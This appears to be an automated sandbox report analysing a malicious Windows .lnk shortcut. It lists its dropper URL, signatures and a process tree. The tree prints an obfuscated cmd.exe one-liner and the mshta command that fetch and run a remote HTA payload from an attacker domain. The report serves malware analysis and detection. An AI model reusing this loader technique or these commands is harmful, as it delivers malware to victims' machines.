Analysis

  • max time kernel
    60s
  • max time network
    25s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 12:31

General

  • Target
    DOC-B4UA2C.lnk
  • Size 2KB
  • Sample260817-pp7xeszfpe
  • SHA256 79417c2c1424234524968a727cdcbfdaaca76a032b1add1f2c62a9e5d6f8f9e1
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-B4UA2C.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/v:on/c"set PrAtL=datbbhxaojetehrhyqodat&&set ajvys=oldgmvhjmhhluegzbzpold&&set Tg=infggswinf&&set pbq=oldsigjpnihxownuqilxzttold&&set GaGJ=cfgyeutuwmcfg&&set gVJod=dbgkcpaxdjjsofdbg&&set CCpwO=tmpvekczmwhmtmp&&set Mqu=a92sta3&&set KF=f7rx&&set NGW=kotv5&&set Hp=xemsh6m&&set fol=ct8fs&&set kGgYO=jkwa53&&set zXcw=tmpdngzbbxfggutmp&&set pkXtF=h@ttps:@/@/k-docu@menta@ci@[email protected]/h/estagio1.php?r=3F14@77@F1@53@9@8D1&&start /b !Hp:~2,3!!fol:~1,1!!kGgYO:~3,1! !pkXtF:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:4152

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads